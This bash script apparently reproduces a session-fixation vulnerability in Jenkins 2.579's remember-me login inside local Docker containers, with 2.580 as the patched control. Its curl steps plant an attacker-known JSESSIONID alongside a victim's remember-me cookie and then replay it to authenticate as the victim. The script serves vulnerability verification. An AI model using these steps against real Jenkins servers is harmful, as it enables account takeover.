#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory.
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
PROOF="$REPRO_DIR/proof"
mkdir -p "$LOGS" "$REPRO_DIR" "$PROOF"
cd "$ROOT"

RUN_LOG="$LOGS/reproduction_steps.log"
: >"$RUN_LOG"
exec > >(tee -a "$RUN_LOG") 2>&1

VULN_IMAGE="jenkins/jenkins@sha256:a7342867ea33efaacf825229d50b7fc77c144ecada9719ab4e32419f5d7412be"
FIXED_IMAGE="jenkins/jenkins@sha256:0e50a5b11ac14f3b84e529d725ed3a1c4b17ba16188dfa8d9a0189428b0839b1"
REPOSITORY_URL="https://github.com/jenkinsci/jenkins"
VULN_COMMIT="9095ea3a5c5e7dcd392695a5dd880af1c9910ddf"
FIXED_COMMIT="497de4961ad80d97e26bfdeb0d2e40442a84ecb0"

# Honor the prepared project cache when available. Source is used to bind the
# image release to the exact Jenkins tags and to preserve the required layout.
CACHE_CONTEXT="$ROOT/project_cache_context.json"
REPO="$ROOT/artifacts/jenkins"
if [ -r "$CACHE_CONTEXT" ]; then
  CACHE_PREPARED="$(jq -r '.prepared // false' "$CACHE_CONTEXT" 2>/dev/null || echo false)"
  CACHE_DIR="$(jq -r '.project_cache_dir // empty' "$CACHE_CONTEXT" 2>/dev/null || true)"
  if [ "$CACHE_PREPARED" = true ] && [ -n "$CACHE_DIR" ]; then
    REPO="$CACHE_DIR/repo"
  fi
fi

write_failure_manifest() {
  local note="$1"
  python3 - "$REPRO_DIR/runtime_manifest.json" "$note" <<'PY'
import json, sys
path, note = sys.argv[1:]
data = {
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "Jenkins remember-me authentication through the real HTTP login/session boundary",
  "service_started": False,
  "healthcheck_passed": False,
  "target_path_reached": False,
  "runtime_stack": ["Jenkins", "Winstone/Jetty", "Spring Security remember-me"],
  "proof_artifacts": [],
  "artifact_sha256": {},
  "notes": note,
}
with open(path, "w", encoding="utf-8") as f:
    json.dump(data, f, indent=2, sort_keys=True)
    f.write("\n")
PY
}
write_failure_manifest "The current runtime-backed attempt has not completed. See logs/reproduction_steps.log."

containers=()
cleanup() {
  local c
  for c in "${containers[@]:-}"; do
    [ -n "$c" ] && docker rm -f "$c" >/dev/null 2>&1 || true
  done
}
trap cleanup EXIT

need() { command -v "$1" >/dev/null 2>&1 || { echo "ERROR: required command not found: $1"; exit 2; }; }
for command_name in docker curl jq python3 sha256sum git; do need "$command_name"; done
docker info >/dev/null

if [ ! -d "$REPO/.git" ]; then
  mkdir -p "$(dirname "$REPO")"
  git clone --filter=blob:none --no-checkout "$REPOSITORY_URL" "$REPO"
fi
git -C "$REPO" fetch --force --depth=1 origin \
  refs/tags/jenkins-2.579:refs/tags/jenkins-2.579 \
  refs/tags/jenkins-2.580:refs/tags/jenkins-2.580
[ "$(git -C "$REPO" rev-parse jenkins-2.579^{commit})" = "$VULN_COMMIT" ] || { echo "ERROR: Jenkins 2.579 source identity mismatch"; exit 2; }
[ "$(git -C "$REPO" rev-parse jenkins-2.580^{commit})" = "$FIXED_COMMIT" ] || { echo "ERROR: Jenkins 2.580 source identity mismatch"; exit 2; }

echo "Pulling exact vulnerable image and fixed control image..."
docker pull "$VULN_IMAGE"
docker pull "$FIXED_IMAGE"
VULN_RUNTIME_IMAGE="$(docker image inspect "$VULN_IMAGE" --format '{{index .RepoDigests 0}}')"
FIXED_RUNTIME_IMAGE="$(docker image inspect "$FIXED_IMAGE" --format '{{index .RepoDigests 0}}')"
[ "$VULN_RUNTIME_IMAGE" = "$VULN_IMAGE" ] || { echo "ERROR: vulnerable image digest mismatch: $VULN_RUNTIME_IMAGE"; exit 2; }
case "$FIXED_RUNTIME_IMAGE" in jenkins/jenkins@sha256:*) ;; *) echo "ERROR: fixed image lacks immutable digest"; exit 2;; esac
printf 'vulnerable_image=%s\nfixed_image=%s\nvulnerable_commit=%s\nfixed_commit=%s\n' \
  "$VULN_RUNTIME_IMAGE" "$FIXED_RUNTIME_IMAGE" "$VULN_COMMIT" "$FIXED_COMMIT" >"$PROOF/target_identity.txt"

extract_cookie() {
  local jar="$1" regex="$2"
  awk -v re="$regex" 'BEGIN{IGNORECASE=1} ($0 !~ /^#/ || $0 ~ /^#HttpOnly_/) && $6 ~ re {value=$7} END{print value}' "$jar"
}

wait_ready() {
  local port="$1" output="$2"
  local i code
  for i in $(seq 1 120); do
    code="$(curl --max-time 3 -sS -o /dev/null -w '%{http_code}' "http://127.0.0.1:$port/login" || true)"
    if [ "$code" = 200 ]; then
      printf 'listener=127.0.0.1:%s\nhealth_path=/login\nhttp_status=%s\n' "$port" "$code" >"$output"
      return 0
    fi
    sleep 1
  done
  return 1
}

run_attempt() {
  local role="$1" attempt="$2" image="$3" port="$4" expected="$5"
  local prefix="$PROOF/${role}_${attempt}"
  local name="pruva-84652-${role}-${attempt}-$$"
  local home="$REPRO_DIR/runtime/${role}_${attempt}"
  local victim_jar="$prefix.victim.cookies"
  local attacker_jar="$prefix.attacker.cookies"
  local replay_jar="$prefix.replay.cookies"
  local remember_cookie attacker_session post_session status replay_body
  # Rootless Docker maps container uid 1000 to a subordinate host uid. Use a
  # short root helper from the already pinned target image to reset the exact
  # bind mount and preserve caller ownership across consecutive executions.
  mkdir -p "$home"
  docker run --rm -u 0:0 --entrypoint /bin/sh -v "$home:/data" "$image" \
    -c 'find /data -mindepth 1 -maxdepth 1 -exec rm -rf {} +' >/dev/null
  mkdir -p "$home/init.groovy.d"
  chmod 0777 "$home"
  cat >"$home/init.groovy.d/01-security.groovy" <<'GROOVY'
import jenkins.model.Jenkins
import hudson.security.HudsonPrivateSecurityRealm
import hudson.security.FullControlOnceLoggedInAuthorizationStrategy

def j = Jenkins.get()
def realm = new HudsonPrivateSecurityRealm(false, false, null)
realm.createAccount("victim", "Victim-Password-84652!")
j.setSecurityRealm(realm)
j.setCrumbIssuer(null)
def authz = new FullControlOnceLoggedInAuthorizationStrategy()
authz.setAllowAnonymousRead(false)
j.setAuthorizationStrategy(authz)
j.save()
println("PRUVA_SECURITY_READY victim")
GROOVY
  chmod -R a+rwx "$home"

  echo "[$role/$attempt] starting $image on port $port"
  docker run -d --name "$name" --read-only \
    --tmpfs /tmp:rw,nosuid,nodev --tmpfs /var/jenkins_home/war:rw \
    -u 1000:1000 -p "127.0.0.1:$port:8080" \
    -e JAVA_OPTS='-Djenkins.install.runSetupWizard=false' \
    -v "$home:/var/jenkins_home" "$image" >"$prefix.container_id.txt"
  containers+=("$name")
  wait_ready "$port" "$prefix.health.txt" || { docker logs "$name" >"$prefix.service.log" 2>&1; echo "ERROR: Jenkins failed health check"; return 1; }

  # Step A: create a genuine victim remember-me token with a normal login.
  : >"$victim_jar"
  curl --max-time 20 -sS -D "$prefix.login.headers" -o "$prefix.login.body" \
    -c "$victim_jar" -b "$victim_jar" \
    --data-urlencode 'j_username=victim' \
    --data-urlencode 'j_password=Victim-Password-84652!' \
    --data-urlencode 'from=/' \
    --data-urlencode 'Submit=Sign in' \
    --data-urlencode 'remember_me=on' \
    "http://127.0.0.1:$port/j_spring_security_check"
  remember_cookie="$(extract_cookie "$victim_jar" '^(remember-me|remember_me)$')"
  if [ -z "$remember_cookie" ]; then
    echo "ERROR: normal login did not issue a remember-me cookie"
    cat "$victim_jar"
    return 1
  fi

  # Step B: attacker obtains an anonymous server-side session and therefore
  # knows a valid JSESSIONID that a sibling origin could plant in the victim.
  : >"$attacker_jar"
  curl --max-time 20 -sS -D "$prefix.attacker_session.headers" -o "$prefix.attacker_session.body" \
    -c "$attacker_jar" -b "$attacker_jar" "http://127.0.0.1:$port/login"
  attacker_session="$(extract_cookie "$attacker_jar" '^JSESSIONID')"
  [ -n "$attacker_session" ] || { echo "ERROR: Jenkins did not establish an anonymous JSESSIONID"; return 1; }

  # Construct the victim browser state: victim's persistent remember-me token
  # plus the exact anonymous JSESSIONID known to the attacker. The first request
  # invokes Jenkins/Spring Security's real remember-me authentication filter.
  cp "$attacker_jar" "$prefix.planted.cookies"
  printf '127.0.0.1\tFALSE\t/\tFALSE\t2147483647\tremember-me\t%s\n' "$remember_cookie" >>"$prefix.planted.cookies"
  curl --max-time 20 -sS -L -D "$prefix.remember_auth.headers" -o "$prefix.remember_auth.body" \
    -c "$prefix.post_auth.cookies" -b "$prefix.planted.cookies" \
    "http://127.0.0.1:$port/me/api/json"
  post_session="$(extract_cookie "$prefix.post_auth.cookies" '^JSESSIONID')"
  [ -n "$post_session" ] || post_session="$attacker_session"

  # Step C: independent attacker replay sends only the originally known session
  # cookie, never the victim's remember-me token or credentials.
  cp "$attacker_jar" "$replay_jar"
  status="$(curl --max-time 20 -sS -D "$prefix.replay.headers" -o "$prefix.replay.body" \
    -w '%{http_code}' -b "$replay_jar" "http://127.0.0.1:$port/me/api/json")"
  replay_body="$(cat "$prefix.replay.body")"

  python3 - "$prefix.observation.json" "$role" "$attempt" "$attacker_session" "$post_session" "$status" "$replay_body" "$expected" <<'PY'
import json, sys
path, role, attempt, planted, after, status, body, expected = sys.argv[1:]
try:
    parsed = json.loads(body)
except Exception:
    parsed = None
victim = isinstance(parsed, dict) and parsed.get("id") == "victim"
obs = {
  "schema_version": 1,
  "role": role,
  "attempt": int(attempt),
  "attacker_planted_session_sha256": __import__("hashlib").sha256(planted.encode()).hexdigest(),
  "post_remember_auth_session_sha256": __import__("hashlib").sha256(after.encode()).hexdigest(),
  "session_identifier_rotated": planted != after,
  "attacker_replay_http_status": int(status),
  "attacker_replay_authenticated_as_victim": victim,
  "expected_vulnerable": expected == "vulnerable",
}
with open(path, "w", encoding="utf-8") as f:
    json.dump(obs, f, indent=2, sort_keys=True); f.write("\n")
PY

  docker stop -t 20 "$name" >/dev/null
  docker logs "$name" >"$prefix.service.log" 2>&1
  docker rm "$name" >/dev/null
  docker run --rm -u 0:0 --entrypoint /bin/sh -v "$home:/data" "$image" \
    -c 'chown -R 0:0 /data' >/dev/null
  rm -rf "$home"
  containers=("${containers[@]/$name/}")

  if [ "$expected" = vulnerable ]; then
    jq -e '.attacker_replay_authenticated_as_victim == true and .session_identifier_rotated == false' "$prefix.observation.json" >/dev/null || {
      echo "ERROR: vulnerable attempt did not demonstrate fixation"; cat "$prefix.observation.json"; return 1;
    }
  else
    jq -e '.attacker_replay_authenticated_as_victim == false and .session_identifier_rotated == true' "$prefix.observation.json" >/dev/null || {
      echo "ERROR: fixed attempt did not rotate/invalidate the planted session"; cat "$prefix.observation.json"; return 1;
    }
  fi
  echo "[$role/$attempt] PASS"
  cat "$prefix.observation.json"
}

rm -rf "$PROOF"
mkdir -p "$PROOF"
# Recreate target identity after proof cleanup.
printf 'vulnerable_image=%s\nfixed_image=%s\nvulnerable_commit=%s\nfixed_commit=%s\n' \
  "$VULN_RUNTIME_IMAGE" "$FIXED_RUNTIME_IMAGE" "$VULN_COMMIT" "$FIXED_COMMIT" >"$PROOF/target_identity.txt"

BASE_PORT=$((18080 + ($$ % 500)))
run_attempt vulnerable 1 "$VULN_IMAGE" "$BASE_PORT" vulnerable
run_attempt vulnerable 2 "$VULN_IMAGE" "$((BASE_PORT + 1))" vulnerable
run_attempt fixed 1 "$FIXED_RUNTIME_IMAGE" "$((BASE_PORT + 2))" fixed
run_attempt fixed 2 "$FIXED_RUNTIME_IMAGE" "$((BASE_PORT + 3))" fixed

# Cookie values are unnecessary once the stopped-container observations are
# complete. Remove jars and redact Set-Cookie values from retained transcripts
# while preserving cookie names, attributes, status lines, and version headers.
rm -f "$PROOF"/*.cookies
python3 - "$PROOF" <<'PY_REDACT'
import pathlib, re, sys
for path in pathlib.Path(sys.argv[1]).glob("*.headers"):
    text = path.read_text(encoding="utf-8")
    text = re.sub(r"(?im)^(Set-Cookie:\s*[^=;\r\n]+=)[^;\r\n]*", r"\1<redacted>", text)
    path.write_text(text, encoding="utf-8")
PY_REDACT

# Bind only finalized per-attempt files; all containers are stopped and these
# files are immutable before the manifest is generated.
proof_files=(
  repro/proof/target_identity.txt
  repro/proof/vulnerable_1.health.txt repro/proof/vulnerable_1.login.headers
  repro/proof/vulnerable_1.attacker_session.headers repro/proof/vulnerable_1.remember_auth.headers
  repro/proof/vulnerable_1.replay.headers repro/proof/vulnerable_1.replay.body
  repro/proof/vulnerable_1.observation.json repro/proof/vulnerable_1.service.log
  repro/proof/vulnerable_2.observation.json repro/proof/vulnerable_2.service.log
  repro/proof/fixed_1.health.txt repro/proof/fixed_1.login.headers
  repro/proof/fixed_1.attacker_session.headers repro/proof/fixed_1.remember_auth.headers
  repro/proof/fixed_1.replay.headers repro/proof/fixed_1.replay.body
  repro/proof/fixed_1.observation.json repro/proof/fixed_1.service.log
  repro/proof/fixed_2.observation.json repro/proof/fixed_2.service.log
)
python3 - "$REPRO_DIR/runtime_manifest.json" "$VULN_RUNTIME_IMAGE" "$VULN_COMMIT" "$REPOSITORY_URL" "${proof_files[@]}" <<'PY'
import hashlib, json, os, platform, sys
manifest_path, runtime_image, commit, repository, *paths = sys.argv[1:]
root = os.environ["PRUVA_ROOT"]
hashes = {}
for rel in paths:
    with open(os.path.join(root, rel), "rb") as f:
        hashes[rel] = hashlib.sha256(f.read()).hexdigest()
target_digest = runtime_image.split("@sha256:", 1)[1]
data = {
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "Jenkins /j_spring_security_check plus remember-me authentication and /me/api/json replay over HTTP",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": True,
  "runtime_stack": ["Jenkins 2.579", "Winstone/Jetty", "Spring Security remember-me"],
  "target_identity": {
    "repository_url": repository,
    "commit_sha": commit,
    "target_digest": target_digest,
    "runtime_digest": runtime_image.split("@sha256:", 1)[1],
    "platform": "linux",
    "architecture": platform.machine(),
  },
  "proof_artifacts": paths,
  "artifact_sha256": hashes,
  "notes": "Two clean vulnerable Jenkins 2.579 controllers let an independent client replay an attacker-known planted JSESSIONID as victim after remember-me authentication; two Jenkins 2.580 controls rotated/invalidated it.",
}
with open(manifest_path, "w", encoding="utf-8") as f:
    json.dump(data, f, indent=2, sort_keys=True); f.write("\n")
PY
jq -e '.target_path_reached == true and (.proof_artifacts | length >= 10)' "$REPRO_DIR/runtime_manifest.json" >/dev/null

echo "CONFIRMED: Jenkins 2.579 remember-me authentication preserves an attacker-known planted session; Jenkins 2.580 invalidates it."
# Exit 0 = issue confirmed; nonzero = not reproduced or infrastructure/precondition failure.
